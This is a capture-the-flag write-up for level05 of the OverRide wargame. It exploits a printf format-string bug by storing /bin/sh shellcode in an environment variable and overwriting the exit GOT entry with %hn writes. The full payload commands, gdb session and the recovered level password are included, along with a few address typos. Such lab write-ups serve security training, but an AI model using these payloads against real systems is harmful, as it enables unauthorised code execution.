

./level05

```
● ● ●  
RELRO           STACK CANARY      NX       PIE      RPATH      RUNPATH     FILE  
No RELRO        No canary found  NX disabled  No PIE   No RPATH   No RUNPATH /home/user/level05/level05  
level05@OverRide:~$
```

Decompiled file with **Ghidra**:

```
int main(void)
{
    int i = 0;
    char buffer[100];

    fgets(buffer, 100, stdin);

    int len = strlen(buffer);
    for (i = 0; i < len; i++)
        if (buffer[i] >= 'A' && buffer[i] <= 'Z')
            buffer[i] = buffer[i] ^ 0x20;

    printf(buffer);
    exit(EXIT_SUCCESS);
}
```



This level shares similarities with some levels from the Rainfall project, exploiting a vulnerability with **printf(buffer)**.

Directly changing the return address of the **main** function isn't feasible due to the use of **exit()** rather than **return**, and **fgets()** prevents *buffer overflows*.

The objective is to reroute the **exit** function call to execute our **shellcode**, which will be placed in an environment variable, and not in the buffer, because it is sanitised to lower case, which would break our shellcode.

This can be accomplished by targeting the **Global Offset Table (GOT)**, which holds the addresses of dynamically linked functions. By modifying the GOT entry for **exit**, we can make it point to our **shellcode**.

Using Ghidra, we found the GOT entry for **exit** as:

```
080497e0      0c a0 04 08      addr      <EXTERNAL>::exit
```

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To ascertain the address of the shellcode, we will use **gdb** with a cleared *environment* to avoid any discrepancies that may arise from environmental variables:

```
level05@OverRide:~$ export SHELLCODE=$(python -c 'print "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
```

```
level05@OverRide:~$ exec env - SHELLCODE=$SHELLCODE gdb -ex 'unset env LINES' -ex 'unset env COLUMNS' --args ./level05
(gdb) break main
Breakpoint 1 at 0x8048449
(gdb) run
Starting program: /home/users/level05/level05

Breakpoint 1, 0x08048449 in main ()
(gdb) x/s *((char **) environ+1)
0xfffffdfbc:      "SHELLCODE=1\311\367\341Qh//shh/bin\211\343\260\v\315\200"
```

The beginning of our shellcode is positioned 10 bytes ahead of `0xfffffdfbc` to account for the length of the string "`SHELLCODE=`", resulting in the starting address being **0xffffdfc6**.

Due to the limitations of using a `printf` width specifier to write such large number directly, we must split the task into two smaller operations. We'll employ the `%hn` specifier to write two separate 16-bit integers. We aim to write the value 57286 (**0xdfc6**) to the lower part of the `exit` GOT address (**0x080497e0**) and the value 65535 (**0xffff**) to the higher part (**0x080497e0 + 2**), due to the little-endian byte order.

Using the `%x` format specifier with `printf`, we can find the starting position of the `printf` buffer in the stack, where we'll put the two halves of the GOT address for the `exit` function.

```
level05@OverRide:~$ ./level05 <<< $(python -c 'print "AAAABBBB" + "%x "*11')

aaaabbbb64 f7fcfac0 f7ec3af9 fffffd6ef fffffd6ee 0 ffffffff fffffd774 f7fdb000
61616161   62626262
```

The first and second parts of the GOT address for the `exit` function will respectively correspond to the **10th** and **11th** addresses on the stack.

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```
level05@OverRide:~$ {
python -c '
writeLo = 0xdfc6
writeHi = 0xffff
GOTaddrLo = "\x08\x04\x97\xe0"[::-1]
GOTaddrHi = "\x08\x04\x97\xe2"[::-1]
paddingLo = writeLo - len(GOTaddrLo + GOTaddrHi)
paddingHi = writeHi - writeLo
print GOTaddrLo + GOTaddrHi + "%{}x%10$hn%{}x%11$hn".format(paddingLo, paddingHi)';
echo "cd ../level06 && cat .pass";
} | env - PWD=$PWD SHELLCODE=$SHELLCODE ~/level05

...
7fcfac0
h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq

level05@OverRide:~$ su level05
Password: h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq

level06@OverRide:~$
```